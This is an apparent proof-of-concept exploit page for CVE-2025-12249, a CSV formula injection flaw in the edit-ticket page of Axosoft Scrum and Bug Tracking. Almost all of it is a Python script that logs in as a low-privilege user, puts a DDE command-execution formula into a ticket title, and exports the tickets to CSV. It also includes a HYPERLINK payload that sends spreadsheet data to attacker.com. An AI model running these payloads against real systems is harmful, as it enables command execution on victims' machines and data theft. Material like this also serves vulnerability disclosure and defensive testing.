CVE-2025-12249: Axosoft Scrum和Bug Tracking编辑工单页面CSV注入漏洞

import requests import urllib3 urllib3.disable_warnings() # CVE-2025-12249 PoC - CSV Injection in Axosoft Scrum and Bug Tracking # Target: Axosoft Scrum and Bug Tracking 22.1.1.11545 # Attack Vector: Edit Ticket Page - Title Parameter TARGET_URL = "https://target-axosoft-server.com" LOGIN_URL = f"{TARGET_URL}/api/auth/login" EDIT_TICKET_URL = f"{TARGET_URL}/api/tickets/edit" EXPORT_CSV_URL = f"{TARGET_URL}/api/tickets/export" # Malicious CSV payload - formula injection CSV_PAYLOAD = "=CMD|'/C calc'!A0" # Calculator execution payload CSV_PAYLOAD_ALT = "=HYPERLINK(\"http://attacker.com/steal?data=\"&A1,\"Click Here\")" def exploit_csv_injection(): """ Step 1: Authenticate with low-privilege account Step 2: Create or edit a ticket with malicious Title Step 3: Export tickets to CSV Step 4: When victim opens CSV, formula executes """ session = requests.Session() # Authentication login_data = { "username": "low_priv_user", "password": "user_password" } resp = session.post(LOGIN_URL, json=login_data, verify=False) if resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Edit ticket with malicious Title edit_data = { "ticket_id": 12345, "Title": CSV_PAYLOAD, # Inject malicious formula "Description": "Normal description" } resp = session.post(EDIT_TICKET_URL, json=edit_data, verify=False) if resp.status_code == 200: print("[+] Malicious ticket updated successfully") print(f"[+] Payload injected: {CSV_PAYLOAD}") else: print("[-] Failed to update ticket") return False # Export CSV (victim action) print("[*] Victim exports tickets to CSV...") resp = session.get(EXPORT_CSV_URL, verify=False) if resp.status_code == 200: print("[+] CSV exported with malicious payload") # Save exported CSV with open("exported_tickets.csv", "w") as f: f.write(resp.text) print("[+] CSV saved to exported_tickets.csv") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-12249 - Axosoft CSV Injection PoC") print("=" * 60) exploit_csv_injection()